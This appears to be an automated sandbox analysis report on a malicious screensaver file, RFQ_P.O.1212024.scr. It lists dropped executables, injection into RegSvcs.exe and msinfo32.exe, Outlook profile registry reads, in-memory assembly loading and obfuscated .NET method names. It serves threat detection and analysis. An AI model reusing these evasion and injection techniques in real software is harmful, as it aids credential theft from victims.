Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Automated click: OK
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Automated click: OK

Source: C:\Windows\SysWOW64\msinfo32.exe

File opened: C:\Windows\SysWOW64\RichEd32.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\msinfo32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: RFQ_P.O.1212024.scr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ_P.O.1212024.scr

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msinfo32.pdb source: mrNbohrgjTw.exe, 0000000B.00000003.383034129.0000000000504000.00000004.00000001.00020000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000002.873630788.000000000052B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msinfo32.pdb@ source: mrNbohrgjTw.exe, 0000000B.00000003.383034129.0000000000504000.00000004.00000001.00020000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000002.873630788.000000000052B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mrNbohrgjTw.exe, 0000000B.00000000.379719754.0000000000CEE000.00000002.00000001.01000000.0000000A.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873854822.0000000000CEE000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: RegSvcs.pdb, source: msinfo32.exe, 0000000C.00000002.873979376.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873553497.0000000000676000.00000004.00000020.00020000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409282745.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.461474996.000000000170C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.397445363.0000000000950000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873778069.0000000002010000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000003.396847773.0000000001E80000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000003.396514209.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873778069.0000000002190000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000013.00000002.415871928.000000000094C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: msinfo32.exe, 0000000C.00000002.873979376.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873553497.0000000000676000.00000004.00000020.00020000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409282745.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.461474996.000000000170C000.00000004.80000000.00040000.00000000.sdmp

Data Obfuscation

Source: RFQ_P.O.1212024.scr, ServerForm.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: PEJmengI.exe.0.dr, ServerForm.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ElmNrXtZw4MREHe3PO.cs	.Net Code: uQ5bowdOos System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ElmNrXtZw4MREHe3PO.cs	.Net Code: uQ5bowdOos System.Reflection.Assembly.Load(byte[])
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ElmNrXtZw4MREHe3PO.cs	.Net Code: uQ5bowdOos System.Reflection.Assembly.Load(byte[])

Source: sqlite3.dll.12.dr	Static PE information: section name: /4
Source: sqlite3.dll.12.dr	Static PE information: section name: /19
Source: sqlite3.dll.12.dr	Static PE information: section name: /31
Source: sqlite3.dll.12.dr	Static PE information: section name: /45
Source: sqlite3.dll.12.dr	Static PE information: section name: /57
Source: sqlite3.dll.12.dr	Static PE information: section name: /70
Source: sqlite3.dll.12.dr	Static PE information: section name: /81
Source: sqlite3.dll.12.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B31FD push esp; ret	0_2_001B3201
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040205D push esp; retf	8_2_0040206B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418830 push esi; ret	8_2_00418831
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004018CB pushad ; iretd	8_2_004018CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004148F3 push edx; retf	8_2_0041499F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040214A pushad ; ret	8_2_0040214E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401971 push ecx; ret	8_2_00401972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0041498F push edx; retf	8_2_0041499F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004149A0 push edx; retf	8_2_0041499F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040D253 push cs; retf	8_2_0040D284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00403290 push eax; ret	8_2_00403292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004182BA pushfd ; retf	8_2_004182CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004073BB pushfd ; iretd	8_2_004073BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00408524 push 098F1E49h; ret	8_2_00408529
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401D82 push ecx; ret	8_2_00401D83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401DA0 push ebp; iretd	8_2_00401DB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00411DA3 push FFFFFFFFh; ret	8_2_00411DA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040164A push ecx; ret	8_2_0040164B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0041464D push esi; retf	8_2_0041464E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004016C8 push ecx; ret	8_2_004016C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418F4D push edi; ret	8_2_00418F5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418F53 push edi; ret	8_2_00418F5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0041872A push cs; ret	8_2_0041872C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418F98 push A1C798CCh; ret	8_2_00418F9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096DFA1 push ecx; ret	8_2_0096DFB4
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D31F5 push esp; ret	10_2_001D31F9
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D9210 push esp; iretd	10_2_001D9211
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D922A push esp; iretd	10_2_001D922B
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 10_2_001D93B4 push ebx; iretd	10_2_001D93B5
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040B6438 push D687906Bh; ret	11_2_040B645D
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Code function: 11_2_040AD4CD push cs; retf	11_2_040AD4FE

Source: RFQ_P.O.1212024.scr	Static PE information: section name: .text entropy: 7.712122709503229
Source: PEJmengI.exe.0.dr	Static PE information: section name: .text entropy: 7.712122709503229

Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, p9whqVMj7km6hvFd4B.cs	High entropy of concatenated method names: 'WdyofoXAj', 'gaFalC21b', 'gGiH9AfTA', 'efqA1TnpU', 'bRl34BSYF', 'PO0GKx5Ex', 'SZAQxNyAZf4mah7DB8', 'kEDXlUlXVBtMcBCxFS', 'e4RJ4qgy3', 'bQjV3j0dE'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, MZC66lyJS5fEAyDFsA.cs	High entropy of concatenated method names: 'Pq3BrP2rPy', 'gZFB412JHr', 'oYWBFQKnrJ', 'VBnB61Qn7d', 'IvjBtZfVIc', 'bCqFwOKlV8', 'bGYFKPQbEp', 'qpcFp2LCZ9', 'jeQFcCENbG', 'gxUFx7gbHO'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, DCZlwmmiGGJ8he9Pdm.cs	High entropy of concatenated method names: 'ToString', 'gbBCTTkK4c', 'eX0CZZKx8P', 'JFECPbR86b', 'I5NC8hdjd2', 'wt5CvoumQI', 'GJcC5lk6DR', 'gKYCDHAZTS', 'vFUCuqOjlg', 'GlECdbw21W'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, a8I4p6KMHEsK9Nkxwx.cs	High entropy of concatenated method names: 'G0lhcoIBcL', 'iDvhRn7pBN', 'HNjJ2M7tl8', 'PEoJXH85in', 'SXmhTYyxaL', 'BAfhl6xMOj', 'RDxh0xePAE', 'n8EhesRtmV', 'dOUhnpxfdy', 'gRIhmPtOLl'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, s3kk7jb7SDrahtghN8.cs	High entropy of concatenated method names: 'qkXX6hfevc', 'SMYXtctH7v', 'ekBXk3wfCa', 'iFvXLjwlXE', 'dPpX9v5uZC', 'j6lXCJS5fE', 'p4MMACW7jYpdjW6wyS', 'MFscCCT8BB1U9PChgi', 'VQadIwOMC4XMRWs6AH', 'roMXXn8MOq'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, S6CYiadgd1bbv4MQCM.cs	High entropy of concatenated method names: 'GBS6OvFFJV', 'qIi6NEyvxJ', 'kfj6oIAtQn', 'R6s6aSFtRZ', 'WLd6UX0v6H', 'Kqk6HTiDLU', 'B886AgBabl', 'D8K6iu72Za', 'FWB63eetox', 'b386Giivvg'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ybmdBps6EBLDHEsODi.cs	High entropy of concatenated method names: 'vcdhk2Iwet', 'ogDhL9jLnC', 'ToString', 'wfehEo05gy', 'h5Qh4oSUH5', 'wmwh7T3NE7', 'AgghFMmybj', 'CGRhBR9PS8', 'VVkh6wuqTu', 'exhhtUkVBn'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, UmmxlKRVrJuuCq8qcB.cs	High entropy of concatenated method names: 'W5eV7uLhxx', 'LLKVFTw8Ju', 'hmrVBe3Q9p', 'sSxV6gVvve', 'fhkVg8pxkk', 'QVJVt0btWx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, oUBP47XMvqWrjoQmcNf.cs	High entropy of concatenated method names: 'ToString', 'fSOWijJAMi', 'vfuW3Fdo6n', 'EL8WGTD64L', 'F3HWyxdcpC', 'D6mWZMapdS', 'exMWPiA1Uu', 'pdrW8uXoVs', 'lKqiqK0W95uN81vvF2H', 'GIRxlv0ARLbl7Q3eUKi'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, UlXExhGXDZPw1jPpv5.cs	High entropy of concatenated method names: 'akLFU7OdEK', 'eMHFADcwbh', 'UEf7Pc7CU2', 'ljR787Bk0D', 'KK07vnmcrT', 'IUJ75SLwpS', 'w5C7DEf1AD', 'CGl7uHkf08', 'VPJ7d4nqqN', 'tto7q2PmTw'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, bhfevcinMYctH7vReL.cs	High entropy of concatenated method names: 'lBD4eRDJqQ', 'Yi44nMIkTA', 'lmB4mrQ41x', 'hlX4sZWwZd', 'Yss4wyB11F', 'qU34Kx031x', 'vyL4pOBMOE', 'wpD4cjsx5P', 'ypW4xcylEV', 'fLb4RHG0Bm'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, QA77Vy5wHffBZWP1MA.cs	High entropy of concatenated method names: 'qyABmOJrhC', 'rBmBsiwmtK', 'UBCBw5ZCFL', 'ToString', 'dicBKpmAen', 'os7BpT4P38', 'BwuasOZLEHP2qQLfWpP', 'Yd4uv1ZlUi8SylaVlni', 'sWeY0PZYEk6DNw8KfXD'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, NrVMJxDdfbtvtBhJeH.cs	High entropy of concatenated method names: 'Ge06ETdhYx', 'tRH67kVc70', 'bN36B0PDKr', 'RHSBRrQkUQ', 'PrABzbhftw', 'aIn62kXT5f', 'RDZ6XTXC7D', 'FP06MPWc1J', 'tbC6jArUAc', 'Ab76bhitIT'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, N19SIUX2lsGqOUG78NH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Kk3VTYjd2K', 'Bu0Vl2D4tj', 'JcmV0aGPBm', 'M8VVeXcRJD', 'FTbVnZdgXv', 'PliVmo1O7P', 'cF9VsMraLy'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, zw6oei0qks56CqEOgd.cs	High entropy of concatenated method names: 'VOgfihTZOW', 'C0vf3nXVCy', 'P0mfytYIpj', 'XQMfZZIkmF', 'ePbf8NOb1J', 'HSWfvC9xxb', 'XlgfDnP0np', 'wQ9fuFDjd1', 'mxffqiJlny', 'W82fTBK10P'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, T4Cjyr3kB3wfCaBFvj.cs	High entropy of concatenated method names: 'L9h7ayt0lH', 't0m7HpbhlV', 'swZ7ing4fK', 'xJ473SqBaE', 'v4h79C9Rt2', 'Ia47CAkwYC', 'vXI7hgZmos', 'YPh7JA8AYF', 'X6f7gmaMX4', 'jDs7VFdCyh'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ElmNrXtZw4MREHe3PO.cs	High entropy of concatenated method names: 'TDNjrcwZfl', 'OY9jEYGKAg', 'PsEj4SKcoe', 'rQTj7qYuSM', 'gXijF41xqX', 'xGTjBgYDqT', 'gbgj6DFLsc', 'DyWjtqM4Bc', 'J3MjI51INh', 'anhjk3sq7h'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, QytIh1XXDKo5MP7oJ4d.cs	High entropy of concatenated method names: 'GhyVR2snxZ', 'EZ8VzBeFp2', 'n9HW24S1EZ', 'uvUWXWp93J', 'IXlWMpBL7Z', 'yfBWjP9RSs', 'cdhWb3xrIG', 'hx6WrdQ89V', 'gyeWE5Z2tX', 'qnTW4rRMts'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, HvVJuo8ktUaN28KN6D.cs	High entropy of concatenated method names: 'Y4PBSM75ye', 'gCjBOD9STi', 'wjvBouF63p', 'PqNBaZALQr', 'cDGBHInm7u', 'znIBAeqrFM', 'z87B3dpNrR', 'yopBGmMkmK', 'NZR1XqZi5is5nCyW5FM', 'SHSVwcZaJBktpg33Usm'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, DdWhTCpLUOFOaZUA7y.cs	High entropy of concatenated method names: 'YcZg9htX5b', 'pXXghEjK8h', 'T0UggM5bLa', 'CvLgWPJL7N', 'gCjgYxyEcK', 'DfMgSU7WWG', 'Dispose', 'UyAJEch5kF', 'a1gJ4iL4wY', 'I1cJ7Iu4hx'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, VLHFBaZiQVfOIFJqar.cs	High entropy of concatenated method names: 'YmyXbgZVqoVNNQhDjJ2', 'wWyYhxZXb16abobf00h', 'v9XBJ70gxP', 'ciMBgLH0ba', 'OarBVHZ8A4', 'AL2Nw9ZEWI4XCMRNCFq', 'F6OpQlZoUpdcsSZZ9uM', 'BVVujIZcFO7HodAH4w5'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, U8An9uxiYkVBxn8NPY.cs	High entropy of concatenated method names: 'zaFgyLF56i', 'keRgZANsdr', 'qsvgPARIKC', 'VNag80fWGY', 'yKlgvcgeYD', 'Xcig50Ylm3', 'YmBgDF7NmX', 'UiHguXf4Mc', 'H7RgdCODfg', 'rgJgqlURLV'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, WxiPQ2413yrVZaeiGh.cs	High entropy of concatenated method names: 'Dispose', 'xFOXxaZUA7', 'BjyMZgSnAK', 'VHGxJT8WRl', 'G9RXRwds82', 'N3wXzQ4y7i', 'ProcessDialogKey', 'zlwM28An9u', 'DYkMXVBxn8', 'yPYMMwmmxl'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, iIr6kyzks73p42nxWv.cs	High entropy of concatenated method names: 'HjRVHmyo2b', 'fQDVi3X1G0', 'on9V39uAU2', 'maxVy1I1HC', 'UuoVZJo3tW', 'Q37V8hBDgV', 'L0rVvU63LL', 'g4KVS0P3Yu', 'DABVOUW2De', 'dnJVNcW4Ub'
Source: 0.2.RFQ_P.O.1212024.scr.43ed328.2.raw.unpack, ChRdp5Xbobw2elyK2ZM.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QRGQgxm9cq', 'j04QVFn3an', 'GJwQW8mObB', 'vxaQQhqkLw', 'B88QYHJ1qK', 'LxsQ16g75I', 'hlmQSaK8BO'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, p9whqVMj7km6hvFd4B.cs	High entropy of concatenated method names: 'WdyofoXAj', 'gaFalC21b', 'gGiH9AfTA', 'efqA1TnpU', 'bRl34BSYF', 'PO0GKx5Ex', 'SZAQxNyAZf4mah7DB8', 'kEDXlUlXVBtMcBCxFS', 'e4RJ4qgy3', 'bQjV3j0dE'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, MZC66lyJS5fEAyDFsA.cs	High entropy of concatenated method names: 'Pq3BrP2rPy', 'gZFB412JHr', 'oYWBFQKnrJ', 'VBnB61Qn7d', 'IvjBtZfVIc', 'bCqFwOKlV8', 'bGYFKPQbEp', 'qpcFp2LCZ9', 'jeQFcCENbG', 'gxUFx7gbHO'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, DCZlwmmiGGJ8he9Pdm.cs	High entropy of concatenated method names: 'ToString', 'gbBCTTkK4c', 'eX0CZZKx8P', 'JFECPbR86b', 'I5NC8hdjd2', 'wt5CvoumQI', 'GJcC5lk6DR', 'gKYCDHAZTS', 'vFUCuqOjlg', 'GlECdbw21W'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, a8I4p6KMHEsK9Nkxwx.cs	High entropy of concatenated method names: 'G0lhcoIBcL', 'iDvhRn7pBN', 'HNjJ2M7tl8', 'PEoJXH85in', 'SXmhTYyxaL', 'BAfhl6xMOj', 'RDxh0xePAE', 'n8EhesRtmV', 'dOUhnpxfdy', 'gRIhmPtOLl'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, s3kk7jb7SDrahtghN8.cs	High entropy of concatenated method names: 'qkXX6hfevc', 'SMYXtctH7v', 'ekBXk3wfCa', 'iFvXLjwlXE', 'dPpX9v5uZC', 'j6lXCJS5fE', 'p4MMACW7jYpdjW6wyS', 'MFscCCT8BB1U9PChgi', 'VQadIwOMC4XMRWs6AH', 'roMXXn8MOq'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, S6CYiadgd1bbv4MQCM.cs	High entropy of concatenated method names: 'GBS6OvFFJV', 'qIi6NEyvxJ', 'kfj6oIAtQn', 'R6s6aSFtRZ', 'WLd6UX0v6H', 'Kqk6HTiDLU', 'B886AgBabl', 'D8K6iu72Za', 'FWB63eetox', 'b386Giivvg'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ybmdBps6EBLDHEsODi.cs	High entropy of concatenated method names: 'vcdhk2Iwet', 'ogDhL9jLnC', 'ToString', 'wfehEo05gy', 'h5Qh4oSUH5', 'wmwh7T3NE7', 'AgghFMmybj', 'CGRhBR9PS8', 'VVkh6wuqTu', 'exhhtUkVBn'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, UmmxlKRVrJuuCq8qcB.cs	High entropy of concatenated method names: 'W5eV7uLhxx', 'LLKVFTw8Ju', 'hmrVBe3Q9p', 'sSxV6gVvve', 'fhkVg8pxkk', 'QVJVt0btWx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, oUBP47XMvqWrjoQmcNf.cs	High entropy of concatenated method names: 'ToString', 'fSOWijJAMi', 'vfuW3Fdo6n', 'EL8WGTD64L', 'F3HWyxdcpC', 'D6mWZMapdS', 'exMWPiA1Uu', 'pdrW8uXoVs', 'lKqiqK0W95uN81vvF2H', 'GIRxlv0ARLbl7Q3eUKi'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, UlXExhGXDZPw1jPpv5.cs	High entropy of concatenated method names: 'akLFU7OdEK', 'eMHFADcwbh', 'UEf7Pc7CU2', 'ljR787Bk0D', 'KK07vnmcrT', 'IUJ75SLwpS', 'w5C7DEf1AD', 'CGl7uHkf08', 'VPJ7d4nqqN', 'tto7q2PmTw'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, bhfevcinMYctH7vReL.cs	High entropy of concatenated method names: 'lBD4eRDJqQ', 'Yi44nMIkTA', 'lmB4mrQ41x', 'hlX4sZWwZd', 'Yss4wyB11F', 'qU34Kx031x', 'vyL4pOBMOE', 'wpD4cjsx5P', 'ypW4xcylEV', 'fLb4RHG0Bm'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, QA77Vy5wHffBZWP1MA.cs	High entropy of concatenated method names: 'qyABmOJrhC', 'rBmBsiwmtK', 'UBCBw5ZCFL', 'ToString', 'dicBKpmAen', 'os7BpT4P38', 'BwuasOZLEHP2qQLfWpP', 'Yd4uv1ZlUi8SylaVlni', 'sWeY0PZYEk6DNw8KfXD'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, NrVMJxDdfbtvtBhJeH.cs	High entropy of concatenated method names: 'Ge06ETdhYx', 'tRH67kVc70', 'bN36B0PDKr', 'RHSBRrQkUQ', 'PrABzbhftw', 'aIn62kXT5f', 'RDZ6XTXC7D', 'FP06MPWc1J', 'tbC6jArUAc', 'Ab76bhitIT'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, N19SIUX2lsGqOUG78NH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Kk3VTYjd2K', 'Bu0Vl2D4tj', 'JcmV0aGPBm', 'M8VVeXcRJD', 'FTbVnZdgXv', 'PliVmo1O7P', 'cF9VsMraLy'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, zw6oei0qks56CqEOgd.cs	High entropy of concatenated method names: 'VOgfihTZOW', 'C0vf3nXVCy', 'P0mfytYIpj', 'XQMfZZIkmF', 'ePbf8NOb1J', 'HSWfvC9xxb', 'XlgfDnP0np', 'wQ9fuFDjd1', 'mxffqiJlny', 'W82fTBK10P'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, T4Cjyr3kB3wfCaBFvj.cs	High entropy of concatenated method names: 'L9h7ayt0lH', 't0m7HpbhlV', 'swZ7ing4fK', 'xJ473SqBaE', 'v4h79C9Rt2', 'Ia47CAkwYC', 'vXI7hgZmos', 'YPh7JA8AYF', 'X6f7gmaMX4', 'jDs7VFdCyh'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ElmNrXtZw4MREHe3PO.cs	High entropy of concatenated method names: 'TDNjrcwZfl', 'OY9jEYGKAg', 'PsEj4SKcoe', 'rQTj7qYuSM', 'gXijF41xqX', 'xGTjBgYDqT', 'gbgj6DFLsc', 'DyWjtqM4Bc', 'J3MjI51INh', 'anhjk3sq7h'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, QytIh1XXDKo5MP7oJ4d.cs	High entropy of concatenated method names: 'GhyVR2snxZ', 'EZ8VzBeFp2', 'n9HW24S1EZ', 'uvUWXWp93J', 'IXlWMpBL7Z', 'yfBWjP9RSs', 'cdhWb3xrIG', 'hx6WrdQ89V', 'gyeWE5Z2tX', 'qnTW4rRMts'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, HvVJuo8ktUaN28KN6D.cs	High entropy of concatenated method names: 'Y4PBSM75ye', 'gCjBOD9STi', 'wjvBouF63p', 'PqNBaZALQr', 'cDGBHInm7u', 'znIBAeqrFM', 'z87B3dpNrR', 'yopBGmMkmK', 'NZR1XqZi5is5nCyW5FM', 'SHSVwcZaJBktpg33Usm'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, DdWhTCpLUOFOaZUA7y.cs	High entropy of concatenated method names: 'YcZg9htX5b', 'pXXghEjK8h', 'T0UggM5bLa', 'CvLgWPJL7N', 'gCjgYxyEcK', 'DfMgSU7WWG', 'Dispose', 'UyAJEch5kF', 'a1gJ4iL4wY', 'I1cJ7Iu4hx'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, VLHFBaZiQVfOIFJqar.cs	High entropy of concatenated method names: 'YmyXbgZVqoVNNQhDjJ2', 'wWyYhxZXb16abobf00h', 'v9XBJ70gxP', 'ciMBgLH0ba', 'OarBVHZ8A4', 'AL2Nw9ZEWI4XCMRNCFq', 'F6OpQlZoUpdcsSZZ9uM', 'BVVujIZcFO7HodAH4w5'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, U8An9uxiYkVBxn8NPY.cs	High entropy of concatenated method names: 'zaFgyLF56i', 'keRgZANsdr', 'qsvgPARIKC', 'VNag80fWGY', 'yKlgvcgeYD', 'Xcig50Ylm3', 'YmBgDF7NmX', 'UiHguXf4Mc', 'H7RgdCODfg', 'rgJgqlURLV'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, WxiPQ2413yrVZaeiGh.cs	High entropy of concatenated method names: 'Dispose', 'xFOXxaZUA7', 'BjyMZgSnAK', 'VHGxJT8WRl', 'G9RXRwds82', 'N3wXzQ4y7i', 'ProcessDialogKey', 'zlwM28An9u', 'DYkMXVBxn8', 'yPYMMwmmxl'
Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, iIr6kyzks73p42nxWv.cs	High entropy of concatenated method names: 'HjRVHmyo2b', 'fQDVi3X1G0', 'on9V39uAU2', 'maxVy1I1HC', 'UuoVZJo3tW', 'Q37V8hBDgV', 'L0rVvU63LL', 'g4KVS0P3Yu', 'DABVOUW2De', 'dnJVNcW4Ub'
